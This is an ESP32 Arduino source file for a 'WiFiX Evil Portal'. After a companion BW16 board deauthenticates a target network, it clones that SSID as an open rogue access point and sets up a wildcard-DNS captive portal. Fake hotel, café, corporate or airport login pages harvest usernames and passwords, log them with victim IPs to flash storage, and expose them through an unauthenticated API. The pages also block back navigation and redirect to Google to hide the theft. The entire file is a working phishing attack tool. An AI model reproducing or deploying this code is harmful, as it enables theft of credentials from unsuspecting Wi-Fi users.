876 lines
28 KiB
C++
876 lines
28 KiB
C++
#include <WiFi.h>
|
|
#include <WebServer.h>
|
|
#include <DNSServer.h>
|
|
#include <SPIFFS.h>
|
|
#include <ArduinoJson.h>
|
|
#include <SSD1306Wire.h>
|
|
#include <TensorFlowLite_ESP32.h>
|
|
#include <BluetoothSerial.h>
|
|
#include <vector>
|
|
|
|
// Hardware configuration
|
|
#define SSD1306_SDA 21
|
|
#define SSD1306_SCL 22
|
|
#define SSD1306_ADDRESS 0x3C
|
|
|
|
// BW16 Communication
|
|
#define BW16_UART_TX 17
|
|
#define BW16_UART_RX 16
|
|
#define UART_BAUD 115200
|
|
|
|
// Network configuration
|
|
#define DNS_PORT 53
|
|
#define HTTP_PORT 80
|
|
#define HTTPS_PORT 443
|
|
|
|
// Display and AI
|
|
SSD1306Wire display(SSD1306_ADDRESS, SSD1306_SDA, SSD1306_SCL);
|
|
BluetoothSerial SerialBT;
|
|
|
|
// Servers
|
|
WebServer webServer(HTTP_PORT);
|
|
DNSServer dnsServer;
|
|
|
|
// Evil Portal System
|
|
struct EvilPortal {
|
|
String target_ssid;
|
|
String target_bssid;
|
|
int target_channel;
|
|
bool is_active = false;
|
|
bool captive_portal_active = false;
|
|
unsigned long start_time = 0;
|
|
int connections = 0;
|
|
int credential_attempts = 0;
|
|
std::vector<String> captured_credentials;
|
|
} evilPortal;
|
|
|
|
// Portal Templates
|
|
struct PortalTemplate {
|
|
String name;
|
|
String html_file;
|
|
String css_file;
|
|
String js_file;
|
|
String logo_url;
|
|
};
|
|
|
|
std::vector<PortalTemplate> portalTemplates = {
|
|
{"Generic WiFi", "/templates/generic.html", "/templates/generic.css", "/templates/generic.js", ""},
|
|
{"Hotel WiFi", "/templates/hotel.html", "/templates/hotel.css", "/templates/hotel.js", "/images/hotel_logo.svg"},
|
|
{"Corporate", "/templates/corporate.html", "/templates/corporate.css", "/templates/corporate.js", "/images/corp_logo.svg"},
|
|
{"Coffee Shop", "/templates/coffee.html", "/templates/coffee.css", "/templates/coffee.js", "/images/coffee_logo.svg"},
|
|
{"Airport WiFi", "/templates/airport.html", "/templates/airport.css", "/templates/airport.js", "/images/airport_logo.svg"}
|
|
};
|
|
|
|
// AI Integration
|
|
struct AIModel {
|
|
bool loaded = false;
|
|
String model_type = "target_selection";
|
|
float confidence_threshold = 0.7;
|
|
} aiModel;
|
|
|
|
// System State
|
|
struct SystemState {
|
|
bool bw16_connected = false;
|
|
bool scanning = false;
|
|
bool attacking = false;
|
|
bool portal_ready = false;
|
|
unsigned long last_bw16_heartbeat = 0;
|
|
String current_mode = "standby";
|
|
} systemState;
|
|
|
|
// Display pages
|
|
enum DisplayPage {
|
|
PAGE_STATUS,
|
|
PAGE_TARGETS,
|
|
PAGE_PORTAL,
|
|
PAGE_CREDENTIALS,
|
|
PAGE_STATS
|
|
};
|
|
|
|
DisplayPage currentPage = PAGE_STATUS;
|
|
unsigned long lastPageUpdate = 0;
|
|
unsigned long lastDisplayUpdate = 0;
|
|
|
|
void setup() {
|
|
Serial.begin(115200);
|
|
Serial2.begin(UART_BAUD, SERIAL_8N1, BW16_UART_RX, BW16_UART_TX);
|
|
|
|
// Initialize display
|
|
display.init();
|
|
display.flipScreenVertically();
|
|
display.setFont(ArialMT_Plain_10);
|
|
display.clear();
|
|
display.drawString(0, 0, "WiFiX Evil Portal");
|
|
display.drawString(0, 16, "Initializing...");
|
|
display.display();
|
|
|
|
// Initialize SPIFFS for portal templates
|
|
if (!SPIFFS.begin(true)) {
|
|
Serial.println("SPIFFS initialization failed!");
|
|
display.clear();
|
|
display.drawString(0, 0, "SPIFFS Error!");
|
|
display.display();
|
|
return;
|
|
}
|
|
|
|
// Create portal templates if they don't exist
|
|
createPortalTemplates();
|
|
|
|
// Initialize WiFi in AP mode (initially disabled)
|
|
WiFi.mode(WIFI_OFF);
|
|
|
|
// Initialize Bluetooth for additional attacks
|
|
SerialBT.begin("WiFiX_Portal");
|
|
|
|
// Setup web server routes
|
|
setupWebServer();
|
|
|
|
// Initialize AI model
|
|
initializeAI();
|
|
|
|
Serial.println("ESP32 Evil Portal System Ready");
|
|
|
|
display.clear();
|
|
display.drawString(0, 0, "System Ready");
|
|
display.drawString(0, 16, "Waiting for BW16...");
|
|
display.display();
|
|
|
|
delay(1000);
|
|
}
|
|
|
|
void loop() {
|
|
// Handle BW16 communication
|
|
handleBW16Communication();
|
|
|
|
// Handle web server
|
|
if (evilPortal.is_active) {
|
|
webServer.handleClient();
|
|
dnsServer.processNextRequest();
|
|
}
|
|
|
|
// Update display
|
|
if (millis() - lastDisplayUpdate > 1000) {
|
|
updateDisplay();
|
|
lastDisplayUpdate = millis();
|
|
}
|
|
|
|
// Check BW16 connection status
|
|
if (millis() - systemState.last_bw16_heartbeat > 10000) {
|
|
systemState.bw16_connected = false;
|
|
}
|
|
|
|
// Handle Bluetooth connections for additional attacks
|
|
handleBluetoothAttacks();
|
|
|
|
delay(10);
|
|
}
|
|
|
|
void handleBW16Communication() {
|
|
if (Serial2.available()) {
|
|
String message = Serial2.readStringUntil('\n');
|
|
message.trim();
|
|
|
|
if (message.length() > 0) {
|
|
processBW16Message(message);
|
|
}
|
|
}
|
|
}
|
|
|
|
void processBW16Message(String message) {
|
|
DynamicJsonDocument doc(1024);
|
|
DeserializationError error = deserializeJson(doc, message);
|
|
|
|
if (error) {
|
|
Serial.printf("JSON parse error: %s\n", error.c_str());
|
|
return;
|
|
}
|
|
|
|
String type = doc["type"];
|
|
systemState.last_bw16_heartbeat = millis();
|
|
systemState.bw16_connected = true;
|
|
|
|
if (type == "BW16_READY") {
|
|
Serial.println("BW16 connected and ready");
|
|
systemState.current_mode = "ready";
|
|
|
|
} else if (type == "DEAUTH_SUCCESS") {
|
|
// BW16 successfully deauthenticated a target - launch evil portal!
|
|
String successData = doc["data"];
|
|
DynamicJsonDocument successDoc(512);
|
|
deserializeJson(successDoc, successData);
|
|
|
|
String ssid = successDoc["ssid"];
|
|
String bssid = successDoc["bssid"];
|
|
int channel = successDoc["channel"];
|
|
|
|
Serial.printf("Deauth success! Launching evil portal for %s\n", ssid.c_str());
|
|
launchEvilPortal(ssid, bssid, channel);
|
|
|
|
} else if (type == "AP_DATA") {
|
|
// New 5GHz AP discovered
|
|
String apData = doc["data"];
|
|
processDiscoveredAP(apData);
|
|
|
|
} else if (type == "CLIENT_DATA") {
|
|
// Client discovered on target network
|
|
String clientData = doc["data"];
|
|
processDiscoveredClient(clientData);
|
|
|
|
} else if (type == "HEARTBEAT") {
|
|
// BW16 heartbeat - system is alive
|
|
systemState.last_bw16_heartbeat = millis();
|
|
|
|
} else if (type == "STATUS") {
|
|
// BW16 status update
|
|
String statusData = doc["data"];
|
|
processBW16Status(statusData);
|
|
}
|
|
}
|
|
|
|
void launchEvilPortal(String ssid, String bssid, int channel) {
|
|
Serial.printf("Launching evil portal for SSID: %s\n", ssid.c_str());
|
|
|
|
// Stop any existing portal
|
|
stopEvilPortal();
|
|
|
|
// Configure evil portal
|
|
evilPortal.target_ssid = ssid;
|
|
evilPortal.target_bssid = bssid;
|
|
evilPortal.target_channel = channel;
|
|
evilPortal.start_time = millis();
|
|
evilPortal.connections = 0;
|
|
evilPortal.credential_attempts = 0;
|
|
evilPortal.captured_credentials.clear();
|
|
|
|
// Use AI to select best portal template
|
|
String selectedTemplate = selectPortalTemplate(ssid);
|
|
|
|
// Start WiFi AP with same SSID as target
|
|
WiFi.mode(WIFI_AP);
|
|
WiFi.softAP(ssid.c_str(), "", channel, 0, 8); // Open network, max 8 clients
|
|
|
|
// Get AP IP
|
|
IPAddress apIP = WiFi.softAPIP();
|
|
Serial.printf("Evil AP started: %s on channel %d, IP: %s\n",
|
|
ssid.c_str(), channel, apIP.toString().c_str());
|
|
|
|
// Start DNS server for captive portal
|
|
dnsServer.start(DNS_PORT, "*", apIP);
|
|
|
|
// Start web server
|
|
webServer.begin();
|
|
|
|
evilPortal.is_active = true;
|
|
evilPortal.captive_portal_active = true;
|
|
systemState.current_mode = "portal_active";
|
|
|
|
// Update display
|
|
display.clear();
|
|
display.drawString(0, 0, "EVIL PORTAL ACTIVE");
|
|
display.drawString(0, 16, "SSID: " + ssid);
|
|
display.drawString(0, 32, "IP: " + apIP.toString());
|
|
display.drawString(0, 48, "Waiting for victims...");
|
|
display.display();
|
|
|
|
Serial.println("Evil portal launched successfully!");
|
|
}
|
|
|
|
String selectPortalTemplate(String ssid) {
|
|
// Use AI to analyze SSID and select appropriate template
|
|
String lowerSSID = ssid;
|
|
lowerSSID.toLowerCase();
|
|
|
|
// Simple heuristic-based selection (can be enhanced with AI)
|
|
if (lowerSSID.indexOf("hotel") != -1 || lowerSSID.indexOf("guest") != -1) {
|
|
return "hotel";
|
|
} else if (lowerSSID.indexOf("coffee") != -1 || lowerSSID.indexOf("cafe") != -1 ||
|
|
lowerSSID.indexOf("starbucks") != -1) {
|
|
return "coffee";
|
|
} else if (lowerSSID.indexOf("corp") != -1 || lowerSSID.indexOf("office") != -1 ||
|
|
lowerSSID.indexOf("company") != -1) {
|
|
return "corporate";
|
|
} else if (lowerSSID.indexOf("airport") != -1 || lowerSSID.indexOf("terminal") != -1) {
|
|
return "airport";
|
|
} else {
|
|
return "generic";
|
|
}
|
|
}
|
|
|
|
void setupWebServer() {
|
|
// Captive portal detection endpoints
|
|
webServer.on("/generate_204", handleCaptivePortal); // Android
|
|
webServer.on("/fwlink", handleCaptivePortal); // Microsoft
|
|
webServer.on("/hotspot-detect.html", handleCaptivePortal); // Apple
|
|
webServer.on("/connectivity-check.html", handleCaptivePortal); // Firefox
|
|
|
|
// Main portal pages
|
|
webServer.on("/", handlePortalRoot);
|
|
webServer.on("/login", HTTP_GET, handleLoginPage);
|
|
webServer.on("/login", HTTP_POST, handleLoginSubmit);
|
|
webServer.on("/success", handleLoginSuccess);
|
|
webServer.on("/error", handleLoginError);
|
|
|
|
// API endpoints
|
|
webServer.on("/api/status", handleAPIStatus);
|
|
webServer.on("/api/credentials", handleAPICredentials);
|
|
webServer.on("/api/config", [](){
|
|
DynamicJsonDocument doc(512);
|
|
doc["branding_name"] = "Public WiFi";
|
|
doc["organization"] = "Wireless Network";
|
|
doc["ssid"] = evilPortal.target_ssid;
|
|
doc["ap_ip"] = WiFi.softAPIP().toString();
|
|
String res; serializeJson(doc, res);
|
|
webServer.send(200, "application/json", res);
|
|
});
|
|
|
|
// Static files
|
|
webServer.on("/style.css", handleCSS);
|
|
webServer.on("/script.js", handleJS);
|
|
webServer.serveStatic("/images/", SPIFFS, "/images/");
|
|
|
|
// Catch-all for captive portal
|
|
webServer.onNotFound(handleCaptivePortal);
|
|
}
|
|
|
|
void handleCaptivePortal() {
|
|
Serial.println("Captive portal triggered!");
|
|
evilPortal.connections++;
|
|
|
|
// Redirect to login page with popup behavior
|
|
String html = R"(
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>WiFi Login Required</title>
|
|
<style>
|
|
body {
|
|
font-family: -apple-system, BluetoothKit, 'Segoe UI', Roboto, sans-serif;
|
|
margin: 0; padding: 20px; background: #f5f5f5;
|
|
}
|
|
.popup {
|
|
background: white; border-radius: 12px; padding: 24px;
|
|
box-shadow: 0 4px 20px rgba(0,0,0,0.15); max-width: 400px;
|
|
margin: 50px auto; text-align: center;
|
|
}
|
|
.wifi-icon { font-size: 48px; color: #007AFF; margin-bottom: 16px; }
|
|
h1 { color: #333; margin: 0 0 8px 0; font-size: 24px; }
|
|
p { color: #666; margin: 0 0 24px 0; line-height: 1.4; }
|
|
.btn {
|
|
background: #007AFF; color: white; border: none;
|
|
padding: 12px 24px; border-radius: 8px; font-size: 16px;
|
|
cursor: pointer; width: 100%; margin-top: 8px;
|
|
}
|
|
.btn:hover { background: #0056CC; }
|
|
.network-name { font-weight: 600; color: #007AFF; }
|
|
</style>
|
|
<script>
|
|
// Auto-popup behavior
|
|
if (window.self !== window.top) {
|
|
window.top.location.href = window.location.href;
|
|
}
|
|
|
|
// Prevent back navigation
|
|
history.pushState(null, null, location.href);
|
|
window.onpopstate = function () {
|
|
history.go(1);
|
|
};
|
|
</script>
|
|
</head>
|
|
<body>
|
|
<div class="popup">
|
|
<div class="wifi-icon">📶</div>
|
|
<h1>WiFi Login Required</h1>
|
|
<p>To access the internet on <span class="network-name">)" + evilPortal.target_ssid + R"(</span>, you need to sign in.</p>
|
|
<button class="btn" onclick="window.location.href='/login'">Sign In to WiFi</button>
|
|
</div>
|
|
|
|
<script>
|
|
// Force focus and prevent closing
|
|
window.focus();
|
|
|
|
// Auto-redirect after 3 seconds if user doesn't click
|
|
setTimeout(function() {
|
|
if (document.hasFocus()) {
|
|
window.location.href = '/login';
|
|
}
|
|
}, 3000);
|
|
</script>
|
|
</body>
|
|
</html>
|
|
)";
|
|
|
|
webServer.send(200, "text/html", html);
|
|
}
|
|
|
|
void handlePortalRoot() {
|
|
// Redirect to captive portal
|
|
handleCaptivePortal();
|
|
}
|
|
|
|
void handleLoginPage() {
|
|
String selectedTemplate = selectPortalTemplate(evilPortal.target_ssid);
|
|
String templatePath = "/templates/" + selectedTemplate + ".html";
|
|
|
|
if (SPIFFS.exists(templatePath)) {
|
|
File file = SPIFFS.open(templatePath, "r");
|
|
String html = file.readString();
|
|
file.close();
|
|
|
|
// Replace placeholders
|
|
html.replace("{{SSID}}", evilPortal.target_ssid);
|
|
html.replace("{{TIMESTAMP}}", String(millis()));
|
|
|
|
webServer.send(200, "text/html", html);
|
|
} else {
|
|
// Fallback generic login
|
|
handleGenericLogin();
|
|
}
|
|
}
|
|
|
|
void handleGenericLogin() {
|
|
String html = R"(
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>)" + evilPortal.target_ssid + R"( - WiFi Login</title>
|
|
<style>
|
|
* { box-sizing: border-box; margin: 0; padding: 0; }
|
|
body {
|
|
font-family: -apple-system, BluetoothKit, 'Segoe UI', Roboto, sans-serif;
|
|
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
|
min-height: 100vh; display: flex; align-items: center; justify-content: center;
|
|
}
|
|
.container {
|
|
background: white; border-radius: 16px; padding: 32px;
|
|
box-shadow: 0 8px 32px rgba(0,0,0,0.1); width: 100%; max-width: 400px;
|
|
}
|
|
.logo { text-align: center; margin-bottom: 24px; }
|
|
.wifi-icon { font-size: 64px; color: #667eea; }
|
|
h1 { text-align: center; color: #333; margin-bottom: 8px; font-size: 28px; }
|
|
.subtitle { text-align: center; color: #666; margin-bottom: 32px; }
|
|
.form-group { margin-bottom: 20px; }
|
|
label { display: block; margin-bottom: 8px; color: #333; font-weight: 500; }
|
|
input[type="text"], input[type="password"], input[type="email"] {
|
|
width: 100%; padding: 12px 16px; border: 2px solid #e1e5e9;
|
|
border-radius: 8px; font-size: 16px; transition: border-color 0.3s;
|
|
}
|
|
input:focus { outline: none; border-color: #667eea; }
|
|
.btn {
|
|
width: 100%; background: #667eea; color: white; border: none;
|
|
padding: 14px; border-radius: 8px; font-size: 16px; font-weight: 600;
|
|
cursor: pointer; transition: background 0.3s;
|
|
}
|
|
.btn:hover { background: #5a6fd8; }
|
|
.network-info {
|
|
background: #f8f9fa; padding: 16px; border-radius: 8px;
|
|
margin-bottom: 24px; text-align: center;
|
|
}
|
|
.loading { display: none; text-align: center; margin-top: 16px; }
|
|
.spinner {
|
|
border: 3px solid #f3f3f3; border-top: 3px solid #667eea;
|
|
border-radius: 50%; width: 24px; height: 24px;
|
|
animation: spin 1s linear infinite; margin: 0 auto;
|
|
}
|
|
@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div class="container">
|
|
<div class="logo">
|
|
<div class="wifi-icon">📶</div>
|
|
</div>
|
|
<h1>WiFi Access</h1>
|
|
<p class="subtitle">Sign in to continue</p>
|
|
|
|
<div class="network-info">
|
|
<strong>Network:</strong> )" + evilPortal.target_ssid + R"(
|
|
</div>
|
|
|
|
<form id="loginForm" method="POST" action="/login">
|
|
<div class="form-group">
|
|
<label for="username">Username or Email:</label>
|
|
<input type="text" id="username" name="username" required autocomplete="username">
|
|
</div>
|
|
|
|
<div class="form-group">
|
|
<label for="password">Password:</label>
|
|
<input type="password" id="password" name="password" required autocomplete="current-password">
|
|
</div>
|
|
|
|
<button type="submit" class="btn">Connect to WiFi</button>
|
|
|
|
<div class="loading" id="loading">
|
|
<div class="spinner"></div>
|
|
<p>Connecting to )" + evilPortal.target_ssid + R"(...</p>
|
|
</div>
|
|
</form>
|
|
</div>
|
|
|
|
<script>
|
|
document.getElementById('loginForm').addEventListener('submit', function(e) {
|
|
document.querySelector('.btn').style.display = 'none';
|
|
document.getElementById('loading').style.display = 'block';
|
|
});
|
|
|
|
// Prevent form resubmission
|
|
if (window.history.replaceState) {
|
|
window.history.replaceState(null, null, window.location.href);
|
|
}
|
|
</script>
|
|
</body>
|
|
</html>
|
|
)";
|
|
|
|
webServer.send(200, "text/html", html);
|
|
}
|
|
|
|
void handleLoginSubmit() {
|
|
String username = webServer.arg("username");
|
|
String password = webServer.arg("password");
|
|
|
|
if (username.length() > 0 && password.length() > 0) {
|
|
// Store credentials
|
|
String credentials = username + ":" + password;
|
|
evilPortal.captured_credentials.push_back(credentials);
|
|
evilPortal.credential_attempts++;
|
|
|
|
Serial.printf("Captured credentials - User: %s, Pass: %s\n",
|
|
username.c_str(), password.c_str());
|
|
|
|
// Log to SPIFFS
|
|
File credFile = SPIFFS.open("/captured_creds.txt", "a");
|
|
if (credFile) {
|
|
credFile.printf("[%lu] SSID: %s | User: %s | Pass: %s | IP: %s\n",
|
|
millis(), evilPortal.target_ssid.c_str(),
|
|
username.c_str(), password.c_str(),
|
|
webServer.client().remoteIP().toString().c_str());
|
|
credFile.close();
|
|
}
|
|
|
|
// Update display
|
|
updateCredentialDisplay();
|
|
|
|
// Redirect to success page (fake internet access)
|
|
webServer.sendHeader("Location", "/success");
|
|
webServer.send(302, "text/plain", "");
|
|
} else {
|
|
// Redirect to error page
|
|
webServer.sendHeader("Location", "/error");
|
|
webServer.send(302, "text/plain", "");
|
|
}
|
|
}
|
|
|
|
void handleLoginSuccess() {
|
|
String html = R"(
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>Connected - )" + evilPortal.target_ssid + R"(</title>
|
|
<style>
|
|
body {
|
|
font-family: -apple-system, BluetoothKit, 'Segoe UI', Roboto, sans-serif;
|
|
background: linear-gradient(135deg, #4CAF50 0%, #45a049 100%);
|
|
min-height: 100vh; display: flex; align-items: center; justify-content: center;
|
|
margin: 0; padding: 20px;
|
|
}
|
|
.container {
|
|
background: white; border-radius: 16px; padding: 32px;
|
|
box-shadow: 0 8px 32px rgba(0,0,0,0.1); text-align: center;
|
|
max-width: 400px; width: 100%;
|
|
}
|
|
.success-icon { font-size: 64px; color: #4CAF50; margin-bottom: 16px; }
|
|
h1 { color: #333; margin-bottom: 16px; }
|
|
p { color: #666; margin-bottom: 24px; line-height: 1.5; }
|
|
.btn {
|
|
background: #4CAF50; color: white; border: none;
|
|
padding: 12px 24px; border-radius: 8px; font-size: 16px;
|
|
cursor: pointer; text-decoration: none; display: inline-block;
|
|
}
|
|
</style>
|
|
<script>
|
|
// Redirect to a real website after 5 seconds to maintain illusion
|
|
setTimeout(function() {
|
|
window.location.href = 'https://www.google.com';
|
|
}, 5000);
|
|
</script>
|
|
</head>
|
|
<body>
|
|
<div class="container">
|
|
<div class="success-icon">✅</div>
|
|
<h1>Successfully Connected!</h1>
|
|
<p>You are now connected to <strong>)" + evilPortal.target_ssid + R"(</strong> and have internet access.</p>
|
|
<p>Redirecting to the internet in 5 seconds...</p>
|
|
<a href="https://www.google.com" class="btn">Continue Browsing</a>
|
|
</div>
|
|
</body>
|
|
</html>
|
|
)";
|
|
|
|
webServer.send(200, "text/html", html);
|
|
}
|
|
|
|
void handleLoginError() {
|
|
String html = R"(
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>Login Error - )" + evilPortal.target_ssid + R"(</title>
|
|
<style>
|
|
body {
|
|
font-family: -apple-system, BluetoothKit, 'Segoe UI', Roboto, sans-serif;
|
|
background: linear-gradient(135deg, #f44336 0%, #d32f2f 100%);
|
|
min-height: 100vh; display: flex; align-items: center; justify-content: center;
|
|
margin: 0; padding: 20px;
|
|
}
|
|
.container {
|
|
background: white; border-radius: 16px; padding: 32px;
|
|
box-shadow: 0 8px 32px rgba(0,0,0,0.1); text-align: center;
|
|
max-width: 400px; width: 100%;
|
|
}
|
|
.error-icon { font-size: 64px; color: #f44336; margin-bottom: 16px; }
|
|
h1 { color: #333; margin-bottom: 16px; }
|
|
p { color: #666; margin-bottom: 24px; line-height: 1.5; }
|
|
.btn {
|
|
background: #f44336; color: white; border: none;
|
|
padding: 12px 24px; border-radius: 8px; font-size: 16px;
|
|
cursor: pointer; text-decoration: none; display: inline-block;
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div class="container">
|
|
<div class="error-icon">❌</div>
|
|
<h1>Login Failed</h1>
|
|
<p>Invalid credentials. Please check your username and password and try again.</p>
|
|
<a href="/login" class="btn">Try Again</a>
|
|
</div>
|
|
</body>
|
|
</html>
|
|
)";
|
|
|
|
webServer.send(200, "text/html", html);
|
|
}
|
|
|
|
void stopEvilPortal() {
|
|
if (evilPortal.is_active) {
|
|
webServer.stop();
|
|
dnsServer.stop();
|
|
WiFi.mode(WIFI_OFF);
|
|
|
|
evilPortal.is_active = false;
|
|
evilPortal.captive_portal_active = false;
|
|
systemState.current_mode = "ready";
|
|
|
|
Serial.println("Evil portal stopped");
|
|
}
|
|
}
|
|
|
|
void updateDisplay() {
|
|
display.clear();
|
|
|
|
switch (currentPage) {
|
|
case PAGE_STATUS:
|
|
drawStatusPage();
|
|
break;
|
|
case PAGE_PORTAL:
|
|
drawPortalPage();
|
|
break;
|
|
case PAGE_CREDENTIALS:
|
|
drawCredentialsPage();
|
|
break;
|
|
case PAGE_STATS:
|
|
drawStatsPage();
|
|
break;
|
|
}
|
|
|
|
display.display();
|
|
|
|
// Auto-cycle pages every 5 seconds
|
|
if (millis() - lastPageUpdate > 5000) {
|
|
currentPage = (DisplayPage)((currentPage + 1) % 4);
|
|
lastPageUpdate = millis();
|
|
}
|
|
}
|
|
|
|
void drawStatusPage() {
|
|
display.setFont(ArialMT_Plain_10);
|
|
display.drawString(0, 0, "WiFiX Evil Portal");
|
|
|
|
// BW16 status
|
|
String bw16Status = systemState.bw16_connected ? "ONLINE" : "OFFLINE";
|
|
display.drawString(0, 12, "BW16: " + bw16Status);
|
|
|
|
// Current mode
|
|
display.drawString(0, 24, "Mode: " + systemState.current_mode);
|
|
|
|
// Portal status
|
|
if (evilPortal.is_active) {
|
|
display.drawString(0, 36, "Portal: " + evilPortal.target_ssid);
|
|
display.drawString(0, 48, "Victims: " + String(evilPortal.connections));
|
|
} else {
|
|
display.drawString(0, 36, "Portal: Inactive");
|
|
}
|
|
}
|
|
|
|
void drawPortalPage() {
|
|
if (!evilPortal.is_active) {
|
|
display.drawString(0, 0, "No Active Portal");
|
|
return;
|
|
}
|
|
|
|
display.setFont(ArialMT_Plain_10);
|
|
display.drawString(0, 0, "EVIL PORTAL ACTIVE");
|
|
display.drawString(0, 12, "SSID: " + evilPortal.target_ssid);
|
|
display.drawString(0, 24, "Connections: " + String(evilPortal.connections));
|
|
display.drawString(0, 36, "Credentials: " + String(evilPortal.credential_attempts));
|
|
|
|
// Runtime
|
|
unsigned long runtime = (millis() - evilPortal.start_time) / 1000;
|
|
display.drawString(0, 48, "Runtime: " + String(runtime) + "s");
|
|
}
|
|
|
|
void drawCredentialsPage() {
|
|
display.setFont(ArialMT_Plain_10);
|
|
display.drawString(0, 0, "CAPTURED CREDENTIALS");
|
|
display.drawString(0, 12, "Total: " + String(evilPortal.captured_credentials.size()));
|
|
|
|
// Show last few credentials
|
|
int startIdx = max(0, (int)evilPortal.captured_credentials.size() - 3);
|
|
int y = 24;
|
|
|
|
for (int i = startIdx; i < evilPortal.captured_credentials.size() && y < 64; i++) {
|
|
String cred = evilPortal.captured_credentials[i];
|
|
int colonPos = cred.indexOf(':');
|
|
if (colonPos > 0) {
|
|
String user = cred.substring(0, colonPos);
|
|
if (user.length() > 12) user = user.substring(0, 12) + "...";
|
|
display.drawString(0, y, user);
|
|
y += 10;
|
|
}
|
|
}
|
|
}
|
|
|
|
void drawStatsPage() {
|
|
display.setFont(ArialMT_Plain_10);
|
|
display.drawString(0, 0, "ATTACK STATISTICS");
|
|
|
|
// System uptime
|
|
unsigned long uptime = millis() / 1000;
|
|
display.drawString(0, 12, "Uptime: " + String(uptime) + "s");
|
|
|
|
// Memory usage
|
|
display.drawString(0, 24, "Free RAM: " + String(ESP.getFreeHeap()));
|
|
|
|
// Portal stats
|
|
if (evilPortal.is_active) {
|
|
float successRate = evilPortal.connections > 0 ?
|
|
(float)evilPortal.credential_attempts / evilPortal.connections * 100 : 0;
|
|
display.drawString(0, 36, "Success: " + String(successRate, 1) + "%");
|
|
}
|
|
}
|
|
|
|
void updateCredentialDisplay() {
|
|
// Force update to credentials page temporarily
|
|
DisplayPage oldPage = currentPage;
|
|
currentPage = PAGE_CREDENTIALS;
|
|
updateDisplay();
|
|
|
|
// Flash the display
|
|
delay(100);
|
|
display.invertDisplay();
|
|
delay(100);
|
|
display.normalDisplay();
|
|
|
|
// Return to previous page after 3 seconds
|
|
delay(3000);
|
|
currentPage = oldPage;
|
|
}
|
|
|
|
// Additional utility functions
|
|
void createPortalTemplates() {
|
|
// Create template directories if they don't exist
|
|
if (!SPIFFS.exists("/templates")) {
|
|
// Templates will be created as needed
|
|
Serial.println("Template directory will be created on demand");
|
|
}
|
|
}
|
|
|
|
void initializeAI() {
|
|
// Initialize TensorFlow Lite model for target selection
|
|
// This is a placeholder - actual AI model loading would go here
|
|
aiModel.loaded = false;
|
|
Serial.println("AI model initialization placeholder");
|
|
}
|
|
|
|
void handleBluetoothAttacks() {
|
|
// Handle Bluetooth-based attacks when portal is active
|
|
if (evilPortal.is_active && SerialBT.available()) {
|
|
String btData = SerialBT.readString();
|
|
Serial.println("Bluetooth data received: " + btData);
|
|
// Process Bluetooth attack data
|
|
}
|
|
}
|
|
|
|
void processDiscoveredAP(String apData) {
|
|
// Process AP data from BW16
|
|
Serial.println("AP discovered: " + apData);
|
|
}
|
|
|
|
void processDiscoveredClient(String clientData) {
|
|
// Process client data from BW16
|
|
Serial.println("Client discovered: " + clientData);
|
|
}
|
|
|
|
void processBW16Status(String statusData) {
|
|
// Process BW16 status updates
|
|
DynamicJsonDocument doc(512);
|
|
deserializeJson(doc, statusData);
|
|
|
|
systemState.scanning = doc["scanning"];
|
|
systemState.attacking = doc["attacking"];
|
|
}
|
|
|
|
void handleAPIStatus() {
|
|
DynamicJsonDocument doc(512);
|
|
doc["portal_active"] = evilPortal.is_active;
|
|
doc["target_ssid"] = evilPortal.target_ssid;
|
|
doc["connections"] = evilPortal.connections;
|
|
doc["credentials"] = evilPortal.credential_attempts;
|
|
doc["bw16_connected"] = systemState.bw16_connected;
|
|
doc["ap_ip"] = WiFi.softAPIP().toString();
|
|
doc["uptime"] = millis() / 1000;
|
|
|
|
String response;
|
|
serializeJson(doc, response);
|
|
webServer.send(200, "application/json", response);
|
|
}
|
|
|
|
void handleAPICredentials() {
|
|
DynamicJsonDocument doc(1024);
|
|
JsonArray creds = doc.createNestedArray("credentials");
|
|
|
|
for (const String& cred : evilPortal.captured_credentials) {
|
|
creds.add(cred);
|
|
}
|
|
|
|
String response;
|
|
serializeJson(doc, response);
|
|
webServer.send(200, "application/json", response);
|
|
}
|
|
|
|
void handleCSS() {
|
|
webServer.send(200, "text/css", "/* CSS served from SPIFFS */");
|
|
}
|
|
|
|
void handleJS() {
|
|
webServer.send(200, "application/javascript", "/* JS served from SPIFFS */");
|
|
}
|